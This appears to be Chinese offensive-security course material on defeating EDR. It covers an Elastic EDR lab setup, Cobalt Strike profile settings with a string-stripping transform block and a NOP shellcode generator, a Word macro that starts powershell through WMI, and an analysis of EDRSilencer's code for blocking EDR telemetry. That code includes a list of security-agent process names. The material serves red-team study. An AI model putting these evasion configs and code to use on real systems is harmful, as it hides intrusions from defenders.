[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/hEg52LLvTIVrywoE-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/hEg52LLvTIVrywoE-image.png)

几分钟后，配置完成。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rmidRPbXbwMyqaKB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rmidRPbXbwMyqaKB-image.png)

于是，我们可以访问 kibana 与 elasticsearch 面板了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/5BBOrCVSf8UP0n2e-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/5BBOrCVSf8UP0n2e-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/2pcm3sDXSHEXK15I-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/2pcm3sDXSHEXK15I-image.png)

我们进入左侧导航栏的 **Management -&gt; Fleet**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/zBkfImFnjidAcQNu-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/zBkfImFnjidAcQNu-image.png)

配置 **Setting**s 里的 **Outputs Actions**，确保 **Advanced YAML configuration** 的值如图所示。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DvRfv2yWN9UflF6b-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DvRfv2yWN9UflF6b-image.png)

添加一个 Agent

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/rKhAUdJqu5LirXTZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/rKhAUdJqu5LirXTZ-image.png)

创建一个新的 policy

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XSlVYOiVDRf7h0Ri-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XSlVYOiVDRf7h0Ri-image.png)

然后，在受控的 Windows 主机上运行下述命令，记得改成自己的 IP。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DXhew42dnvrbwRVj-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DXhew42dnvrbwRVj-image.png)

```powershell
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-8.12.2-windows-x86_64.zip -OutFile elastic-agent-8.12.2-windows-x86_64.zip
Expand-Archive .\elastic-agent-8.12.2-windows-x86_64.zip -DestinationPath .
cd elastic-agent-8.12.2-windows-x86_64
.\elastic-agent.exe install --url=https://192.168.1.165:8220 --enrollment-token=U1dHZnBvOEJlTFFfLVFjampldW46a3EzU3VqV2NSc2VVTlRxeVBvSkt1QQ== --insecure
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Ar4kWUwIZOwJd37B-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Ar4kWUwIZOwJd37B-image.png)

安装完成后，我们便能在列表里看到新注册的设备了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/H5iCYWuWbMgvtLRS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/H5iCYWuWbMgvtLRS-image.png)

选择刚才新建的 Policy，点击 **Add Integration**，选择 **Elastic Defend**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/gek3jVZQ7ck0pmk1-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/gek3jVZQ7ck0pmk1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/GLsqjlVTf1nzA78x-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/GLsqjlVTf1nzA78x-image.png)

添加一个名称，选择 **Complete EDR**，作用于该 Policy，保存。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/V9BsPYOEboIjpK7R-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/V9BsPYOEboIjpK7R-image.png)

左侧导航栏进入 **Security -&gt; Alert**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/X6x5iSa3mgaHlp3z-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/X6x5iSa3mgaHlp3z-image.png)

点击 **Manage rules**，我们可以看到已经安装的规则，确保他们都是**启用**的状态。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/LP4LMW9NyM6iCfIU-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/LP4LMW9NyM6iCfIU-image.png)

尝试运行一个恶意软件作为测试，我们发现 Elastic EDR 能立即拦截了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/RnNIeKhWAF0NAXKU-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/RnNIeKhWAF0NAXKU-image.png)

我们也能在面板里看到相应的告警：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/WJbfkQf2nMcUl5lA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/WJbfkQf2nMcUl5lA-image.png)

有趣的是，Elastic 公开了其检测规则([https://github.com/elastic/detection-rules](https://github.com/elastic/detection-rules))，我们可以根据检测规则中的 gap 来实现对 Elastic EDR 的绕过。

除此之外，Wazuh([https://wazuh.com/](https://wazuh.com/)) 与 OpenEDR([https://www.openedr.com/](https://www.openedr.com/)) 也是 2 款免费开源的 EDR，有兴趣可以自行配置与尝试。

# 堆栈加密

### **栈加密**

[https://whiteknightlabs.com/2023/05/02/masking-the-implant-with-stack-encryption/](https://whiteknightlabs.com/2023/05/02/masking-the-implant-with-stack-encryption/)

[https://labs.cognisys.group/posts/Advanced-Module-Stomping-and-Heap-Stack-Encryption/](https://labs.cognisys.group/posts/Advanced-Module-Stomping-and-Heap-Stack-Encryption/)

### **堆加密**

[https://github.com/SaadAhla/HeapCrypt](https://github.com/SaadAhla/HeapCrypt)

[https://www.arashparsa.com/hook-heaps-and-live-free/](https://www.arashparsa.com/hook-heaps-and-live-free/)

### **代码区加密**

[https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html](https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html)

# 返回地址欺骗

[https://offensivecraft.wordpress.com/2022/12/08/the-stack-series-return-address-spoofing-on-x64/](https://offensivecraft.wordpress.com/2022/12/08/the-stack-series-return-address-spoofing-on-x64/)

[https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html)

# 调用栈欺骗

### **睡眠欺骗**

[https://github.com/Kudaes/Unwinder](https://github.com/Kudaes/Unwinder)

[https://github.com/Cobalt-Strike/CallStackMasker](https://github.com/Cobalt-Strike/CallStackMasker)

[https://github.com/klezVirus/SilentMoonwalk/tree/master](https://github.com/klezVirus/SilentMoonwalk/tree/master)

[https://github.com/Cracked5pider/Ekko](https://github.com/Cracked5pider/Ekko)

[https://www.cobaltstrike.com/blog/behind-the-mask-spoofing-call-stacks-dynamically-with-timers](https://www.cobaltstrike.com/blog/behind-the-mask-spoofing-call-stacks-dynamically-with-timers)

### **任意函数调用欺骗**

[https://dtsec.us/2023-09-15-StackSpoofin/](https://dtsec.us/2023-09-15-StackSpoofin/)

[https://github.com/WithSecureLabs/CallStackSpoofer](https://github.com/WithSecureLabs/CallStackSpoofer)

[https://github.com/kyleavery/AceLdr](https://github.com/kyleavery/AceLdr)

[https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)

[https://0xdarkvortex.dev/hiding-in-plainsight/](https://0xdarkvortex.dev/hiding-in-plainsight/)

[https://securityintelligence.com/x-force/reflective-call-stack-detections-evasions/](https://securityintelligence.com/x-force/reflective-call-stack-detections-evasions/)

# 案例分析：Cobalt Strike 绕过检测

#####   


[https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/](https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/)

[https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures)

[https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature](https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature)

[https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.9.profile](https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.9.profile)

[https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend\_main.htm](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_main.htm)

### **网络通信**

### **Beacon**

##### **HTTP Beacon**

#### **TCP Beacon**

set tcp\_port 设置 TCP 端口，切勿使用默认的 4444 端口。

#### **SMB Beacon**

pipename 设置命名管道，不要使用现有的。

pipename\_stager

### **Stager**

host\_stage 设置为 False 以关闭 stager，使用 stageless 的载荷。

### **Beacon PE 与 内存**

控制 Beacon 被载入至内存时的特征。

allocator：分配内存的方法，可以指定 VirtualAlloc，HeapAlloc，或者 MapViewOfFile

cleanup：让 Beacon 释放反射式 DLL 加载器的内存

checksum：PE 头中的数据

compile\_time：PE 头中的数据。

entry\_point：PE 头中的程序入口偏移值。

image\_size\_x86/64：PE 头中的映像尺寸。

magic\_mz\_x86/64：PE 文件的第一个 DWORD。

module\_x86/64：加载指定的模块并覆盖它的空间，而不是分配空间。需要注意的是，用于覆盖的 DLL 尺寸不能比初始加载的大。

magic\_pe：覆盖 NT 头的 PE 字符

name：指定 Beacon 的模块名称

obfuscate：混淆 Beacon，通过覆盖没有被使用的 DLL 头的内容，混淆导入表，ReflectiveLoader 不拷贝 DLL 的头。

rich\_header：元数据信息

```python
import random

def generate_junk_assembly(length):
    return ''.join([chr(random.randint(0, 255)) for _ in range(length)])

def generate_rich_header(length):
    rich_header = generate_junk_assembly(length)
    rich_header_hex = ''.join([f"\\x{ord(c):02x}" for c in rich_header])
    return rich_header_hex

#make sure the number of opcodes has to be 4-byte aligned
print(generate_rich_header(100))
```

rich\_header 需要 4 字节对齐，以及为了让 rich header 更加真实有效，我们可以查看真实 DLL 的。

sleep\_mask：当 Beacon 在睡眠时，加密 .text 区域。

smartinject：告知 Beacon 内置的函数指针以避免 PEB walking。

stomppe：对 PE 头的特定数据值进行覆盖

userwx：使用 RWX 权限的内存

syscall\_method：是否使用 syscall 执行 API。可以指定 None，Direct，Indirect。

transform-x86/64：对 DLL 进行转换，支持 prepend，append 和 strrep 命令。

```yaml
transform-x64 {
    prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
    strrep "This program cannot be run in DOS mode" ""; # Remove this text
    strrep "ReflectiveLoader" "";
    strrep "beacon.x64.dll" "";
    strrep "beacon.dll" ""; # Remove this text
    strrep "msvcrt.dll" "";
    strrep "C:\\Windows\\System32\\msvcrt.dll" "";
    strrep "Stack around the variable" "";
    strrep "was corrupted." "";
    strrep "The variable" "";
    strrep "is being used without being initialized." "";
    strrep "The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
    strrep "A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:" "";
    strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
    strrep "Stack memory was corrupted" "";
    strrep "A local variable was used before it was initialized" "";
    strrep "Stack memory around _alloca was corrupted" "";
    strrep "Unknown Runtime Check Error" "";
    strrep "Unknown Filename" "";
    strrep "Unknown Module Name" "";
    strrep "Run-Time Check Failure" "";
    strrep "Stack corrupted near unknown variable" "";
    strrep "Stack pointer corruption" "";
    strrep "Cast to smaller type causing loss of data" "";
    strrep "Stack memory corruption" "";
    strrep "Local variable used before initialization" "";
    strrep "Stack around" "corrupted";
    strrep "operator" "";
    strrep "operator co_await" "";
    strrep "operator<=>" "";

    }
```

我们可以用如下脚本生成 NOP 类的 shellcode：

```python
import random

# Define the byte strings to shuffle
byte_strings = ["40", "41", "42", "6690", "40", "43", "44", "45", "46", "47", "48", "49", "", "4c", "90", "0f1f00", "660f1f0400", "0f1f0400", "0f1f00", "0f1f00", "87db", "87c9", "87d2", "6687db", "6687c9", "6687d2"]

# Shuffle the byte strings
random.shuffle(byte_strings)

# Create a new list to store the formatted bytes
formatted_bytes = []

# Loop through each byte string in the shuffled list
for byte_string in byte_strings:
    # Check if the byte string has more than 2 characters
    if len(byte_string) > 2:
        # Split the byte string into chunks of two characters
        byte_list = [byte_string[i:i+2] for i in range(0, len(byte_string), 2)]
        # Add \x prefix to each byte and join them
        formatted_bytes.append(''.join([f'\\x{byte}' for byte in byte_list]))
    else:
        # Add \x prefix to the single byte
        formatted_bytes.append(f'\\x{byte_string}')
        
# Join the formatted bytes into a single string
formatted_string = ''.join(formatted_bytes)

# Print the formatted byte string
print(formatted_string)
```

将生成的 NOP 类 shellcode 添加到文件头。

```yaml
transform-x64 {
        ...
        prepend "\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
        ...
}
```

### **进程注入**

allocator：为远程进程分配空间的偏好方法，有 VirtualAllocEx，NtMapViewOfSection。后者只能用于同架构。

bof\_allocator：为 BOF 分配内存的偏好方法，可以指定 VirtualAlloc，HeapAlloc，或者 MapViewOfFile

bof\_reuse\_memory：复用已经分配的空间执行后续的 BOF，否则则释放内存。如果内存不够大，也会释放。

min\_alloc：分配的最小内存空间

startrwx：为注入的内容或者 BOF 分配初始 RWX 权限的内存

userwx：使用 RWX 为最终的权限

transform-x86/64：对 DLL 进行转换，支持 prepend 和 append 命令。

execute：如何执行被注入的代码。选项有 CreateThread，CreateRemoteThread，NtQueueApcThread，NtQueueApcThreads，RtlCreateUserThread，SetThreadContext。

### **后利用 DLL** 

spawnto\_x86/64：临时进程。不要使用 svchost.exe，而 wmiprvse.exe 因为被一些安全产品广泛使用，可以选择。

obfuscate：对 DLL 进行混淆，例如混淆字符串。这样，后利用 DLL 可以在内存中以更加 OPSEC 安全的方式存在。

pipename： 用于接收输出的命名管道名称

smartinject：将重要的函数指针从 Beacon 传递给子任务。Beacon 是知道一些重要函数的地址，如 LoadLibraryA，GetProcessAddress 等。但因为后利用的 DLL 作为 PIC Shellcode，一般来说需要通过 PEB Walking 的方法来获得。这个选项可以让 Beacon 把重要的函数指针“告知”后利用的 shellcode。

amsi\_disable：使用 powershell，powerpick，execute-assembly 时绕过 AMSI。但因为该操作本身可引发检测，建议关闭。

keylogger：指定捕捉按键记录的 API

threadhint：允许多线程的 DLL 生成具有伪造的起始地址的线程，建议关闭。

cleanup：当后利用的 DLL 被载入后清除 UDRL 内存

transform-x86/64：对 DLL 进行转换，支持 strrep 和 strrepex 命令。前者替换所有 DLL 中的字符串，后者替换特定 DLL 中的字符串。

# 案例分析：从 LSASS.EXE 中导出凭证



# 案例分析：Word 宏绕过检测

#####   


### **WMI**

```vbscript
Sub CreateProcess()

    Dim strComputer As String
    Dim strCommand As String
    Dim objWMIService As Object
    Dim objStartup As Object
    Dim objProcess As Object
    Dim objInParam As Object
    Dim objOutParam As Object

    ' The name of the remote computer
    strComputer = "127.0.0.1"

    ' The command you want to run
    strCommand = "powershell.exe"

    ' Connect to the WMI service on the remote computer
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

    ' Get the Win32_ProcessStartup class
    Set objStartup = objWMIService.Get("Win32_ProcessStartup")

    ' Get the Win32_Process class
    Set objProcess = objWMIService.Get("Win32_Process")

    ' Get an in-parameter object for the Create method
    Set objInParam = objProcess.Methods_("Create").InParameters.SpawnInstance_

    ' Set the properties of the in-parameter object
    objInParam.Properties_.Item("CommandLine") = strCommand
    objInParam.Properties_.Item("ProcessStartupInformation") = objStartup

    ' Execute the Create method
    Set objOutParam = objWMIService.ExecMethod("Win32_Process", "Create", objInParam)

    ' Check the return value
    If objOutParam.ReturnValue = 0 Then
        MsgBox "Process created successfully."
    Else
        MsgBox "Failed to create process. Error code: " & objOutParam.ReturnValue
    End If

End Sub
```

### **GadgetToJScript**

# 案例分析：APT 的初始访问 TTP



# 第15章课后作业



# 面试专题



# EDRPrison: 借助合法驱动静默EDR

今天我要分享一种可以用来绕过 EDR 产品的技术。我不会称其为“新”技术，因为我借鉴了一些现有项目和技术。这不是典型的 EDR 规避方法，例如睡眠混淆、堆栈欺骗，或系统调用操纵，而是利用了检测机制中的疏忽。

该技术的原理不算突破性也不复杂。然而，在研究过程中，我遇到了许多死胡同，多次认为已经走到了绝路。因此，我将在本文中分享我的困难和失败尝试。

### **基于网络连接的规避**

除了直接使用高级恶意软件技术与 EDR 对抗外，还有其他方法可以实现规避，例如利用 EDR 配置错误或漏洞、卸载 EDR 代理或使用脆弱的驱动程序杀死 EDR 进程。在这些间接规避技术中，我对基于网络连接的规避特别感兴趣。

这个概念并不完全新颖。EDR 代理规律地通过发送遥测数据与中央或云服务器通信，其中包括主机信息、诊断警报、检测等数据。对于更复杂的恶意软件，EDR 代理可能不会立即终止程序。相反，代理会监控恶意软件的行为并利用云上的机器学习。一旦收集到足够的证据，恶意软件的执行将被终止。这表明 EDR 严重依赖云。当然，代理仍然可以检测到经典的恶意软件和技术，例如普通的Mimikatz。然而，没有互联网连接，EDR 失去了大部分效力，SOC 团队无法通过 EDR 管理面板监控终端。

我在我的物理服务器上安装了 Microsoft Defender for Business 和 Elastic Endpoint 这 2 个EDR。根据以下截图，这些传感器与各种服务器通信，每个服务器执行不同的角色。有些服务器收集遥测数据以进行进一步分析，有些服务器收集恶意软件样本，等等。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Yapimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Yapimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/xjgimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/xjgimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/UnGimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/UnGimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/jEmimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/jEmimage.png)

为了更方便地观察明文遥测数据，我在故意运行一些普通恶意软件后使用 [mitmproxy](https://github.com/mitmproxy/mitmproxy) 检查了以下 HTTP 数据包，发现数据确实包含了检测和警报信息。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Eqtimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Eqtimage.png)

除了经历互联网中断或停电之外，不如我们有意地促使终端离线？原理并不复杂。几年前，[一篇文章](https://medium.com/csis-techblog/silencing-microsoft-defender-for-endpoint-using-firewall-rules-3839a8bf8d18)展示了通过利用 Windows Defender 防火墙规则来实现这一点。设置规则以阻止 EDR 进程向云发送数据听起来很简单。然而，除了需要管理员权限外，还有其他缺点和防御措施。

[一篇短文](https://write-verbose.com/2022/05/31/EDRBypass/)提供了两种快速的防御措施。通过启用篡改保护，试图利用防火墙规则来静默 MDE 进程的尝试将被阻止。尽管篡改保护专门保护 MDE 进程，但其他 EDR 供应商也可能采用类似的保护机制。禁用防火墙规则合并是另一种有效的对策。特别是对于使用 AD 的组织，组策略可以覆盖终端本地防火墙设置。

Windows Defender 防火墙支持基于远程地址和端口的规则。不幸的是，一些 EDR 产品与数百甚至数千个联系服务器通信，使得包括每个联系服务器在内同时保持隐蔽变得困难。对于 Microsoft Defender for Endpoint/Business，我们可以参考[配置设备连接性](https://learn.microsoft.com/en-us/defender-endpoint/configure-device-connectivity)和[Azure IP范围](https://azureipranges.azurewebsites.net/)的文档。数据可能会被发送到数千个云服务器中，光是阻止 MDE 传感器发送数据就已经如此繁琐了，更不用说其他EDR产品了。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/7s2image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/7s2image.png)

### **WFP 和 EDRSilencer**

由于对 Windows Defender 防火墙的更改很容易被观察到，在更底层篡改可能是更好的方法。这使我们注意到 Windows 过滤平台，即 WFP。

根据[微软文档](https://learn.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-start-page)，WFP 是一组 API 和系统服务，提供开发者在各层与数据包处理交互和操纵的灵活性和能力。WFP 允许用户通过应用程序、用户、地址、网络接口等过滤连接。WFP 的功能被用于内容过滤、家长监控、规避审查、深度数据包检查等。因此，WFP 被广泛用于安全产品，如 IDS/IPS、广告拦截器、防火墙、EDR 和 VPN。Windows Defender 防火墙也是基于 WFP。以下截图显示了[AdGuard](https://adguard.com/) 使用WFP驱动程序扩展其功能

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/image.png)

WFP非常复杂，我们这里不可能涵盖所有特性。微软有关于 WFP 的海量文档，大家自由探索详细信息。然而，我将以简化的方式解释一些关键概念，以避免大家感到困惑。

##### **Callout**

Callout 是驱动程序导出的一组功能，用于专门的过滤。WFP包括一些[内置的 callout 函数](https://learn.microsoft.com/en-us/windows/win32/fwp/built-in-callout-identifiers)，每个功能由一个 GUID 标识。

##### **过滤引擎**

过滤引擎由一个用户模式组件，基本过滤引擎(BFE) 和一个内核模式组件，通用过滤引擎组成。这些组件共同作用于数据包执行过滤操作。内核模式组件在网络和传输层进行过滤。在对网络流量应用过滤器的过程中，内核模式组件调用可用的调用功能。

##### **过滤器**

过滤器是与数据包匹配的规则，告诉过滤引擎如何处理流量。例如，一个规则可能是“阻止所有到 TCP 端口9200的出站数据包”。过滤器可以是启动时或运行时的。启动时过滤器在 tcpip.sys 启动时强制执行，而运行时过滤器更灵活。

##### **Callout 驱动**

为了实现更特定的目标，如深度包检测 DPI 或网站家长监管，需要自定义 Callout 驱动以扩展 WFP 功能。微软提供了一个示例 WFP callout 驱动程序项目，可以在[此处](https://github.com/microsoft/Windows-driver-samples/tree/main/network/trans/WFPSampler/sys)找到。示例调用驱动程序被 WFPSampler.exe 用于定义策略，如[此处](https://learn.microsoft.com/en-us/samples/microsoft/windows-driver-samples/windows-filtering-platform-sample/)所述。

我们可以使用 netsh.exe 程序或 [WFPExplorer](https://github.com/zodiacon/WFPExplorer) 查看 WFP 对象。

```powershell
netsh wfp show filters
```

有了 WFPExplorer，我们更方便查看 callout、WFP 提供者、层、过滤器、网络事件等。从截图中可以看出，许多安全产品和内置应用程序有使用 WFP。。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/sNDimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/sNDimage.png)

几个工具已经利用 WFP 来阻止 EDR 进程发送遥测数据，包括 MdSec NightHawk C2 的 [FireBlock](https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/)、[Shutter](https://github.com/dsnezhkov/shutter) 和 EDRSilencer。Shutter似乎是最早使用 WFP 来静默 EDR 进程的项目(如果不是，请纠正我)，它还可以基于 IP 地址阻止流量。然而，如前所述，包含所有可能的 EDR 以及它们所有可能通信的 IP 是不现实的。由于 FireBlock 是闭源的，让我们分析 EDRSilencer 的代码片段。

EDRSilencer 硬编码了一个常见 EDR 和 AV 进程列表。每个产品可能有多个运行的进程，具有不同的功能，包括发送遥测数据，上传恶意软件样本等。

```c
char* edrProcess[] = {
// Microsoft Defender for Endpoint and Microsoft Defender Antivirus
    "MsMpEng.exe",
    "MsSense.exe",
    "SenseIR.exe",
    "SenseNdr.exe",
    "SenseCncProxy.exe",
    "SenseSampleUploader.exe",
// Elastic EDR
	"winlogbeat.exe",
    "elastic-agent.exe",
    "elastic-endpoint.exe",
    "filebeat.exe",
// Trellix EDR
    "xagt.exe",
// Qualys EDR
    "QualysAgent.exe",
...
//TrendMicro Apex One
    "CETASvc.exe",
    "WSCommunicator.exe",
    "EndpointBasecamp.exe",
    "TmListen.exe",
    "Ntrtscan.exe",
    "TmWSCSvc.exe",
    "PccNTMon.exe",
    "TMBMSRV.exe",
    "CNTAoSMgr.exe",
    "TmCCSF.exe"
};

```

FwpmEngineOpen0 函数打开一个到过滤引擎的会话，这是设置 WFP 过滤器的关键步骤。EDRSilencer 依赖于内置的 WFP 功能。

```c
    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
```

使用内核模式过滤引擎需要提升权限，即高完整性。EDRSilencer 确保其在修改过滤引擎时具有必要的权限。

然后，EDRSilencer 使用 OpenProcess 获取运行进程的可执行文件的完整路径。不过，获得 EDR 进程的句柄可能会触发警报或检测。

```c
 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
            if (hProcess) {
                WCHAR fullPath[MAX_PATH] = {0};
                DWORD size = MAX_PATH;
                FWPM_FILTER_CONDITION0 cond = {0};
                FWPM_FILTER0 filter = {0};
                FWPM_PROVIDER0 provider = {0};
                GUID providerGuid = {0};
                FWP_BYTE_BLOB* appId = NULL;
                UINT64 filterId = 0;
                ErrorCode errorCode = CUSTOM_SUCCESS;
                
                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
                ......
```

接下来，EDRSilencer 设置 WFP 过滤器和条件。使用的过滤层是 FWPM\_LAYER\_ALE\_AUTH\_CONNECT\_V4。根据微软的说法，此过滤层允许授权出站 TCP 连接请求，以及基于第一个发送的数据包授权出站非 TCP 流量。这个过滤器是持久性的，如[文档](https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0)所述，分类操作设置为 BLOCK。

<dl id="bkmrk-the-condition-identi"><dt>[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/U2Nimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/U2Nimage.png)

条件标识符是 **FWPM\_CONDITION\_ALE\_APP\_ID**，这是一个从文件名派生的应用程序标识符，由 FwpmGetAppIdFromFileName0 函数执行后填充。为了避免内部调用 CreateFileW，可能会被 minifilter 截获并阻止访问 EDR 可执行文件，EDRSilencer 实现了该函数的自定义版本。匹配类型是 FWP\_MATCH\_EQUAL，确保应用程序标识符与指定值完全匹配。

</dt></dl>```c
                // Sett up WFP filter and condition
                filter.displayData.name = filterName;
                filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
                filter.action.type = FWP_ACTION_BLOCK;
                cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
                cond.matchType = FWP_MATCH_EQUAL;
                cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
                cond.conditionValue.byteBlob = appId;
                filter.filterCondition = &cond;
                filter.numFilterConditions = 1;

                 // Add WFP provider for the filter
                if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                    filter.providerKey = &providerGuid;
                } else {
                    provider.displayData.name = providerName;
                    provider.displayData.description = providerDescription;
                    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
                    result = FwpmProviderAdd0(hEngine, &provider, NULL);
                    if (result != ERROR_SUCCESS) {
                        printf("    [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
                    } else {
                        if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                            filter.providerKey = &providerGuid;
                        }
                    }
                }

                // Add filter to both IPv4 and IPv6 layers
                result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                ......
```

最后，过滤器被添加到 IPv4 和 IPv6 层以确保全面覆盖。

```c
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
```

### **其他基于网络连接的规避的变种**

像 Fireblock、Shutter 和 EDRSilencer 这样的工具通过向 EDR 可执行文件添加过滤器来运作。因此，有工具设计来检测此类过滤器。例如，[EDRNoiseMaker](https://github.com/amjcyber/EDRNoiseMaker) 项目可以检测添加到预定义的 EDR 可执行文件列表的异常 WFP 过滤器并相应地移除它们。

那么，还有其他可能的基于网络连接的规避变种吗？以下是两种可能的方法。第一种变体涉及篡改系统上的 hosts 文件。这一想法也在[这篇文章](https://windowsir.blogspot.com/2024/01/edrsilencer.html)中讨论过。通过将 EDR 联系的服务器与有意的虚假地址绑定，例如 127.0.0.1，遥测数据将被发送到错误的目的地。虽然这种方法听起来很简单，但需要考虑几个实际问题：

1. **全面映射**：我们需要将所有可能的联系服务器都绑定到虚假 IP 地址，这需要添加数百或数千条条目。
2. **缺乏隐蔽性**：修改hosts文件不隐蔽，容易被监控工具检测到。
3. **直接使用 IP**：一些 EDR 可能使用 IP 地址而不是域名，绕过 hosts 文件的修改。
4. **缓存地址**：除非重新启动 EDR 服务或操作系统，否则正确的 IP 地址可能仍会缓存到内存中，使 hosts 文件的修改不生效。

第二种变体涉及为 EDR 代理设置恶意代理。这个代理可以是攻击者控制的服务器或无效代理，例如 127.0.0.1:8080。在我对恶意代理方法的研究中，遇到了几个导致走进死胡同的挑战。

### **恶意代理：通向兔子洞的路**

我花了几天时间探索恶意代理方法，但遇到了多次死胡同，可能是由于对某些概念不熟悉。我们的目标是强制 EDR 代理将遥测数据发送到恶意代理服务器，可以是攻击者控制的服务器或无效代理。无论哪种方式，数据都不会到达云服务器。

